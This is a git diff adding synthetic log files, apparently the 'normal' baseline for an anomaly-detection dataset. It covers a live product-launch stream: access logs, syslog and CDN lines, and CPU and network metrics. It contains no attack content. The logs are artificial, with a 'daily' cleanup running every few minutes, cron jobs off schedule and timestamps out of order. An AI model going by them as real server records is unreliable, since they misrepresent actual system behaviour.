"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.248.55 - - [15/Jul/2025:10:06:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13076 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.248.65 - - [15/Jul/2025:10:07:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 7776 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.248.92 - - [15/Jul/2025:10:06:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11919 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.249.207 - - [15/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.249.249 - - [15/Jul/2025:10:06:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13521 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.249.85 - - [15/Jul/2025:10:07:15 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.250.175 - - [15/Jul/2025:10:03:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.250.212 - - [15/Jul/2025:10:06:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14954 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.250.31 - - [15/Jul/2025:10:04:05 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14273 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.250.84 - - [15/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.104 - - [15/Jul/2025:10:02:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13758 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.12 - - [15/Jul/2025:10:06:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.131 - - [15/Jul/2025:10:03:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 9752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.167 - - [15/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 5517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.198 - - [15/Jul/2025:10:05:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.21 - - [15/Jul/2025:10:03:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 8603 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.216 - - [15/Jul/2025:10:04:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.230 - - [15/Jul/2025:10:03:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.24 - - [15/Jul/2025:10:06:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14130 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.32 - - [15/Jul/2025:10:05:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 10759 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.4 - - [15/Jul/2025:10:06:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 6547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.46 - - [15/Jul/2025:10:02:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 5432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.76 - - [15/Jul/2025:10:06:05 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 8315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.251.98 - - [15/Jul/2025:10:04:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 10477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.102 - - [15/Jul/2025:10:02:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 14328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.128 - - [15/Jul/2025:10:07:20 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 10549 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.14 - - [15/Jul/2025:10:06:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.160 - - [15/Jul/2025:10:03:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 13177 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.24 - - [15/Jul/2025:10:03:15 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 6109 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.252.7 - - [15/Jul/2025:10:02:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 7062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.253.121 - - [15/Jul/2025:10:03:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 5766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.253.201 - - [15/Jul/2025:10:05:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 9415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.253.242 - - [15/Jul/2025:10:05:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 5194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.113 - - [15/Jul/2025:10:03:30 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13783 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.138 - - [15/Jul/2025:10:03:45 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 11262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.15 - - [15/Jul/2025:10:04:50 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 5732 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.196 - - [15/Jul/2025:10:06:10 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 7682 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.236 - - [15/Jul/2025:10:02:40 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 13458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.254.40 - - [15/Jul/2025:10:03:55 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 12519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.255.126 - - [15/Jul/2025:10:03:25 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 206 9815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +198.51.255.143 - - [15/Jul/2025:10:02:35 +0000] "GET /live/product-launch-2025/stream.m3u8 HTTP/1.1" 200 5645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +Jul 15 10:00:00 CRON[_]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Jul 15 10:00:50 web-app[1234]: GET /api/v1/status status=200 OK +Jul 15 10:01:40 web-app[1234]: GET /api/v1/status status=200 OK +Jul 15 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:30 stream-server[5678]: INFO: Current viewers: 50000. +Jul 15 10:02:30 stream-server[5678]: INFO: Live stream 'product-launch-2025' has started. +Jul 15 10:02:55 CRON[_]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:03:20 stream-server[5678]: INFO: Current viewers: 51142. +Jul 15 10:04:10 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:00 stream-server[5678]: INFO: Current viewers: 55117. +Jul 15 10:05:50 CRON[_]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 15 10:06:40 stream-server[5678]: INFO: Current viewers: 57978. diff --git a/norm_dataset/scenario_7/norm_7_17.csv b/norm_dataset/scenario_7/norm_7_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..39d9e36ddca4caad8f1e6c1c76e4101e81d1dbe7 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_17.csv @@ -0,0 +1,91 @@ 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status=200 OK +Aug 22 10:01:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:45 systemd[1]: Starting daily health check... +Aug 22 10:02:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 systemd[1]: Starting daily health check... +Aug 22 10:02:30 web-app[1234]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:30 web-app[1234]: INFO: Current viewers: 49369. +Aug 22 10:02:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:02:30 cdn-access[5679]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:02:30 cdn-access[5679]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:02:30 cdn-access[5679]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:02:30 cdn-access[5679]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:02:30 cdn-access[5679]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:35 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:35 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:02:40 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:40 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:02:45 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:45 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:02:45 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:02:50 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:50 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:02:55 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:55 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:20 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:20 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:20 web-app[1235]: POST /live/chat/message status=201 Created +Aug 22 10:03:25 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:25 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:35 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:35 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:40 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:40 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:45 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:45 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:45 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:50 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:50 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:55 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:55 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:04:05 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:05 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:10 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:10 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:10 web-app[1235]: POST /live/chat/message status=201 Created +Aug 22 10:04:15 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:15 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:15 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:04:20 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:20 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:25 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:25 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:04:35 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:35 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:40 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:40 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:00 web-app[1235]: POST /live/chat/message status=201 Created +Aug 22 10:05:00 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:05:20 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:20 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:05:50 web-app[1235]: POST /live/chat/message status=201 Created +Aug 22 10:05:55 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:40 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:40 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:40 web-app[1235]: POST /live/chat/message status=201 Created +Aug 22 10:06:45 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[5680]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[5678]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[5679]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_18.csv b/norm_dataset/scenario_7/norm_7_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..f3af414700370c443a6a37e3aac7524dd439a202 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,11.87,35.6,6.71,1.81,13.88 +2025-08-22T10:00:05Z,14.75,38.57,5.57,1.81,16.43 +2025-08-22T10:00:10Z,13.66,38.8,9.62,1.87,14.58 +2025-08-22T10:00:15Z,12.99,37.81,9.39,1.91,15.46 